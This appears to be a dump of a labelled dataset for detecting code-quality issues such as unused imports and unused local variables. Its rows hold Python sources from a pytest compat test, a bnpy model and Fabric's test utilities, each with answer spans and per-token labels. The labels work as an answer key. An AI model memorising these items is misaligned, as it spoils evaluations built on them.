query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
list
label_sequence
list
Unused import
zeaphoo/cocopot/tests/test_compat.py
[ { "content": "import pytest\n\nfrom cocopot._compat import *\nimport copy\nimport traceback\nimport sys\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def test_compat():\n assert to_bytes(None) == None\n assert to_unicode(None) == None\n with pytest.raises(ZeroDivisionError):\n try:\n s = 1/0\n except:\n exc_type, exc_value, tb = sys.exc_info()\n reraise(exc_type, exc_value, tb)\n\n with pytest.raises(ZeroDivisionError):\n try:\n s = 1/0\n except:\n exc_type, exc_value, tb = sys.exc_info()\n reraise(exc_type, exc_value, None)", "metadata": "root.test_compat", "header": "['module', '___EOS___']", "index": 7 } ]
[ { "span": "import copy", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 11 }, { "span": "import traceback", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 16 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "pytest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "coco", "pot_", "._", "\\u", "compat_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "compat_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "to", "\\u", "bytes_", "(_", "None_", ")_", "==_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "to", "\\u", "unicode_", "(_", "None_", ")_", "==_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Zero", "Divis", "ion", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ",_", "tb_", "=_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reraise", "_", "(_", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ",_", "tb_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Zero", "Divis", "ion", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ",_", "tb_", "=_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reraise", "_", "(_", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ",_", "None_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
daeilkim/refinery/refinery/bnpy/bnpy-dev/bnpy/allocmodel/admix/HDPRelModel.py
[ { "content": " def get_global_suff_stats(self, Data, LP, doPrecompEntropy=False, \n doPrecompMergeEntropy=False,\n mPairIDs=None):\n ''' Theta is a global parameter here so we need to get its sufficient stats\n Sufficient statistics for these require precomputing certain terms\n\n '''\n E, K = LP['E_logsoftev_EdgeLik'].shape\n # Turn dim checking off, since some stats have dim K+1 instead of K\n N = Data.nNodeTotal\n SS = SuffStatBag(K=K, D=N)\n\n # Summary statistics\n node_ss = np.zeros((N, K))\n node_z_ss = np.zeros((N, K))\n node_offset = np.zeros((E, K)) # used to cache ELBO\n ev = LP['edge_variational']\n edgeEps = LP['E_logsoftev_EdgeEps']\n\n for e in xrange(E):\n ii = Data.edges[e,0]\n jj = Data.edges[e,1]\n node_ss[ii,:] += ev[e]\n node_ss[jj,:] += ev[e]\n node_z_ss[ii,:] += LP['E_logsoftev_EdgeEps'][e] # need to check this if there's a better way\n\n SS.setField('nNodeTotal', N, dims=None)\n SS.setField('nEdgeTotal', E, dims=None)\n SS.setField('node_ss', node_ss, dims=('D','K'))\n SS.setField('node_z_ss', node_z_ss, dims=('D', 'K'))\n SS.setField('sumLogPiActive', LP['E_logPiSumK'][:self.K], dims='K')\n SS.setField('sumLogPiUnused', LP['E_logPiSumK'][-1], dims=None)\n\n return SS", "metadata": "root.HDPRelAssortModel.get_global_suff_stats", "header": "['class', 'HDPRelAssortModel', '(', 'AllocModel', ')', ':', '___NEWLINE___', '___NL___', '######################################################### Constructors', '___NL___', '#########################################################', '___NL___', '___EOS___']", "index": 178 } ]
[ { "span": "node_offset ", "start_line": 193, "start_column": 8, "end_line": 193, "end_column": 19 }, { "span": "edgeEps ", "start_line": 195, "start_column": 8, "end_line": 195, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "HD", "PR", "el", "Ass", "ort", "Model_", "(_", "Alloc", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "##", " ", "Constructor", "s_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "global", "\\u", "suff", "\\u", "stats_", "(_", "self_", ",_", "Data_", ",_", "LP", "_", ",_", "do", "Prec", "omp", "Entr", "opy_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "do", "Prec", "omp", "Merge", "Entr", "opy_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m", "Pair", "ID", "s_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "The", "ta", " ", "is", " ", "a", " ", "global", " ", "parameter", " ", "here", " ", "so", " ", "we", " ", "need", " ", "to", " ", "get", " ", "its", " ", "sufficient", " ", "stats", "\\", "10", ";", " ", " ", "Su", "ffic", "ient", " ", "statistic", "s", " ", "for", " ", "these", " ", "require", " ", "precom", "put", "ing", " ", "cert", "ain", " ", "term", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "E_", ",_", "K_", "=_", "LP", "_", "[_", "'", "E", "\\u", "logs", "oft", "ev", "\\u", "Ed", "ge", "Lik", "'_", "]_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Turn", " ", "dim", " ", "checking", " ", "off", ",", " ", "sinc", "e", " ", "some", " ", "stats", " ", "have", " ", "dim", " ", "K", "+", "1", " ", "inst", "ead", " ", "of", " ", "K_", "\\u\\u\\uNL\\u\\u\\u_", "N_", "=_", "Data_", "._", "n", "Node", "Total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS_", "=_", "Su", "ff", "Stat", "Bag", "_", "(_", "K_", "=_", "K_", ",_", "D_", "=_", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Summ", "ary", " ", "statistics_", "\\u\\u\\uNL\\u\\u\\u_", "node", "\\u", "ss_", "=_", "np_", "._", "zeros_", "(_", "(_", "N_", ",_", "K_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "z", "\\u", "ss_", "=_", "np_", "._", "zeros_", "(_", "(_", "N_", ",_", "K_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "offset_", "=_", "np_", "._", "zeros_", "(_", "(_", "E_", ",_", "K_", ")_", ")_", "#", " ", "used", " ", "to", " ", "cache", " ", "EL", "BO", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ev_", "=_", "LP", "_", "[_", "'", "edge", "\\u", "variatio", "nal", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Eps", "_", "=_", "LP", "_", "[_", "'", "E", "\\u", "logs", "oft", "ev", "\\u", "Ed", "ge", "Eps", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "e_", "in_", "xrange_", "(_", "E_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ii_", "=_", "Data_", "._", "edges_", "[_", "e_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jj_", "=_", "Data_", "._", "edges_", "[_", "e_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "ss_", "[_", "ii_", ",_", ":_", "]_", "+=_", "ev_", "[_", "e_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "ss_", "[_", "jj_", ",_", ":_", "]_", "+=_", "ev_", "[_", "e_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "z", "\\u", "ss_", "[_", "ii_", ",_", ":_", "]_", "+=_", "LP", "_", "[_", "'", "E", "\\u", "logs", "oft", "ev", "\\u", "Ed", "ge", "Eps", "'_", "]_", "[_", "e_", "]_", "#", " ", "need", " ", "to", " ", "check", " ", "this", " ", "if", " ", "there", "'", "s", " ", "a", " ", "bett", "er", " ", "way_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "SS_", "._", "set", "Field_", "(_", "'", "n", "Node", "Total", "'_", ",_", "N_", ",_", "dims_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS_", "._", "set", "Field_", "(_", "'", "n", "Ed", "ge", "Total", "'_", ",_", "E_", ",_", "dims_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS_", "._", "set", "Field_", "(_", "'", "node", "\\u", "ss", "'_", ",_", "node", "\\u", "ss_", ",_", "dims_", "=_", "(_", "'", "D", "'_", ",_", "'", "K", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS_", "._", "set", "Field_", "(_", "'", "node", "\\u", "z", "\\u", "ss", "'_", ",_", "node", "\\u", "z", "\\u", "ss_", ",_", "dims_", "=_", "(_", "'", "D", "'_", ",_", "'", "K", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS_", "._", "set", "Field_", "(_", "'", "sum", "Log", "Pi", "Activ", "e", "'_", ",_", "LP", "_", "[_", "'", "E", "\\u", "log", "Pi", "Sum", "K", "'_", "]_", "[_", ":_", "self_", "._", "K_", "]_", ",_", "dims_", "=_", "'", "K", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS_", "._", "set", "Field_", "(_", "'", "sum", "Log", "Pi", "Un", "used", "'_", ",_", "LP", "_", "[_", "'", "E", "\\u", "log", "Pi", "Sum", "K", "'_", "]_", "[_", "-_", "1_", "]_", ",_", "dims_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "SS_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fabric/fabric/tests/utils.py
[ { "content": "from __future__ import with_statement\n\nfrom contextlib import contextmanager\nfrom copy import deepcopy\nfrom fudge.patcher import with_patched_object\nfrom functools import partial\nfrom types import StringTypes\nimport copy\nimport getpass\nimport os\nimport re\nimport shutil\nimport sys\nimport tempfile\n\nfrom fudge import Fake, patched_context, clear_expectations, with_patched_object\nfrom nose.tools import raises\nfrom nose import SkipTest\n\nfrom fabric.context_managers import settings\nfrom fabric.state import env, output\nfrom fabric.sftp import SFTP\nimport fabric.network\nfrom fabric.network import normalize, to_dict\n\nfrom server import PORT, PASSWORDS, USER, HOST\nfrom mock_streams import mock_streams\n\n\n\n\n\n\n\nassert_contains = partial(_assert_contains, invert=False)\nassert_not_contains = partial(_assert_contains, invert=True)\n\n\n\n\n\n\n\n\n\nfabfile = support\n\n\n\n\n\n\npatched_input = partial(_patched_input, patched_context)\nwith_patched_input = partial(_patched_input, with_patched_object)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class FabricTest(object):\n \"\"\"\n Nose-oriented test runner which wipes state.env and provides file helpers.\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.FabricTest", "header": "['module', '___EOS___']", "index": 29 }, { "content": " def setup(self):\n # Clear Fudge mock expectations\n clear_expectations()\n # Copy env, output for restoration in teardown\n self.previous_env = copy.deepcopy(env)\n # Deepcopy doesn't work well on AliasDicts; but they're only one layer\n # deep anyways, so...\n self.previous_output = output.items()\n # Allow hooks from subclasses here for setting env vars (so they get\n # purged correctly in teardown())\n self.env_setup()\n # Temporary local file dir\n self.tmpdir = tempfile.mkdtemp()", "metadata": "root.FabricTest.setup", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 33 }, { "content": " def set_network(self):\n env.update(to_dict('%s@%s:%s' % (USER, HOST, PORT)))", "metadata": "root.FabricTest.set_network", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 47 }, { "content": " def env_setup(self):\n # Set up default networking for test server\n env.disable_known_hosts = True\n self.set_network()\n env.password = PASSWORDS[USER]\n # Command response mocking is easier without having to account for\n # shell wrapping everywhere.\n env.use_shell = False", "metadata": "root.FabricTest.env_setup", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 50 }, { "content": " def teardown(self):\n env.clear() # In case tests set env vars that didn't exist previously\n env.update(self.previous_env)\n output.update(self.previous_output)\n shutil.rmtree(self.tmpdir)\n # Clear Fudge mock expectations...again\n clear_expectations()", "metadata": "root.FabricTest.teardown", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 59 }, { "content": " def path(self, *path_parts):\n return os.path.join(self.tmpdir, *path_parts)", "metadata": "root.FabricTest.path", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 67 }, { "content": " def mkfile(self, path, contents):\n dest = self.path(path)\n with open(dest, 'w') as fd:\n fd.write(contents)\n return dest", "metadata": "root.FabricTest.mkfile", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 70 }, { "content": " def exists_remotely(self, path):\n return SFTP(env.host_string).exists(path)", "metadata": "root.FabricTest.exists_remotely", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 76 }, { "content": " def exists_locally(self, path):\n return os.path.exists(path)", "metadata": "root.FabricTest.exists_locally", "header": "['class', 'FabricTest', '(', 'object', ')', ':', '___EOS___']", "index": 79 }, { "content": "def password_response(password, times_called=None, silent=True):\n \"\"\"\n Context manager which patches ``getpass.getpass`` to return ``password``.\n\n ``password`` may be a single string or an iterable of strings:\n\n * If single string, given password is returned every time ``getpass`` is\n called.\n * If iterable, iterated over for each call to ``getpass``, after which\n ``getpass`` will error.\n\n If ``times_called`` is given, it is used to add a ``Fake.times_called``\n clause to the mock object, e.g. ``.times_called(1)``. Specifying\n ``times_called`` alongside an iterable ``password`` list is unsupported\n (see Fudge docs on ``Fake.next_call``).\n\n If ``silent`` is True, no prompt will be printed to ``sys.stderr``.\n \"\"\"\n fake = Fake('getpass', callable=True)\n # Assume stringtype or iterable, turn into mutable iterable\n if isinstance(password, StringTypes):\n passwords = [password]\n else:\n passwords = list(password)\n # Optional echoing of prompt to mimic real behavior of getpass\n # NOTE: also echo a newline if the prompt isn't a \"passthrough\" from the\n # server (as it means the server won't be sending its own newline for us).\n echo = lambda x, y: y.write(x + (\"\\n\" if x != \" \" else \"\"))\n # Always return first (only?) password right away\n fake = fake.returns(passwords.pop(0))\n if not silent:\n fake = fake.calls(echo)\n # If we had >1, return those afterwards\n for pw in passwords:\n fake = fake.next_call().returns(pw)\n if not silent:\n fake = fake.calls(echo)\n # Passthrough times_called\n if times_called:\n fake = fake.times_called(times_called)\n return patched_context(getpass, 'getpass', fake)", "metadata": "root.password_response", "header": "['module', '___EOS___']", "index": 83 }, { "content": "def _assert_contains(needle, haystack, invert):\n matched = re.search(needle, haystack, re.M)\n if (invert and matched) or (not invert and not matched):\n raise AssertionError(\"r'%s' %sfound in '%s'\" % (\n needle,\n \"\" if invert else \"not \",\n haystack\n ))", "metadata": "root._assert_contains", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def line_prefix(prefix, string):\n \"\"\"\n Return ``string`` with all lines prefixed by ``prefix``.\n \"\"\"\n return \"\\n\".join(prefix + x for x in string.splitlines())", "metadata": "root.line_prefix", "header": "['module', '___EOS___']", "index": 139 }, { "content": "def eq_(result, expected, msg=None):\n \"\"\"\n Shadow of the Nose builtin which presents easier to read multiline output.\n \"\"\"\n params = {'expected': expected, 'result': result}\n aka = \"\"\"\n\n--------------------------------- aka -----------------------------------------\n\nExpected:\n%(expected)r\n\nGot:\n%(result)r\n\"\"\" % params\n default_msg = \"\"\"\nExpected:\n%(expected)s\n\nGot:\n%(result)s\n\"\"\" % params\n if (repr(result) != str(result)) or (repr(expected) != str(expected)):\n default_msg += aka\n assert result == expected, msg or default_msg", "metadata": "root.eq_", "header": "['module', '___EOS___']", "index": 146 }, { "content": "def eq_contents(path, text):\n with open(path) as fd:\n eq_(text, fd.read())", "metadata": "root.eq_contents", "header": "['module', '___EOS___']", "index": 173 }, { "content": "def support(path):\n return os.path.join(os.path.dirname(__file__), 'support', path)", "metadata": "root.support", "header": "['module', '___EOS___']", "index": 178 }, { "content": "@contextmanager\ndef path_prefix(module):\n i = 0\n sys.path.insert(i, os.path.dirname(module))\n yield\n sys.path.pop(i)", "metadata": "root.path_prefix", "header": "['module', '___EOS___']", "index": 184 }, { "content": "def aborts(func):\n return raises(SystemExit)(mock_streams('stderr')(func))", "metadata": "root.aborts", "header": "['module', '___EOS___']", "index": 192 }, { "content": "def _patched_input(func, fake):\n return func(sys.modules['__builtin__'], 'raw_input', fake)", "metadata": "root._patched_input", "header": "['module', '___EOS___']", "index": 196 } ]
[ { "span": "from copy import deepcopy", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 25 }, { "span": "from nose import SkipTest", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 25 }, { "span": "from fabric.context_managers import settings", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 44 }, { "span": "import fabric.network", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 21 }, { "span": "from fabric.network import normalize, to_dict", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 45 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "with", "\\u", "statement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "contextlib_", "import_", "contextmanager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "copy_", "import_", "deepcopy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fu", "dge_", "._", "patcher_", "import_", "with", "\\u", "patche", "d\\u", "object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "functools_", "import_", "partial_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "String", "Types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "getpass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "fu", "dge_", "import_", "Fake", "_", ",_", "patche", "d\\u", "context_", ",_", "clear", "\\u", "expectations", "_", ",_", "with", "\\u", "patche", "d\\u", "object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nose_", "._", "tools_", "import_", "raises_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nose_", "import_", "Ski", "p", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "fabric_", "._", "context", "\\u", "managers_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "state_", "import_", "env_", ",_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "sftp_", "import_", "SFTP", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "fabric_", "._", "network_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "network_", "import_", "normalize_", ",_", "to", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "server_", "import_", "PORT_", ",_", "PASS", "WORDS_", ",_", "USER_", ",_", "HOST_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mock", "\\u", "streams_", "import_", "mock", "\\u", "streams_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert", "\\u", "contains_", "=_", "partial_", "(_", "\\u", "assert", "\\u", "contains_", ",_", "invert_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "not", "\\u", "contains_", "=_", "partial_", "(_", "\\u", "assert", "\\u", "contains_", ",_", "invert_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fab", "file_", "=_", "support_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "patche", "d\\u", "input_", "=_", "partial_", "(_", "\\u", "patche", "d\\u", "input_", ",_", "patche", "d\\u", "context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with", "\\u", "patche", "d\\u", "input_", "=_", "partial_", "(_", "\\u", "patche", "d\\u", "input_", ",_", "with", "\\u", "patche", "d\\u", "object_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "No", "se", "-", "orient", "ed", " ", "test", " ", "runn", "er", " ", "whi", "ch", " ", "wipe", "s", " ", "state", ".", "env", " ", "and", " ", "provide", "s", " ", "file", " ", "help", "ers", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 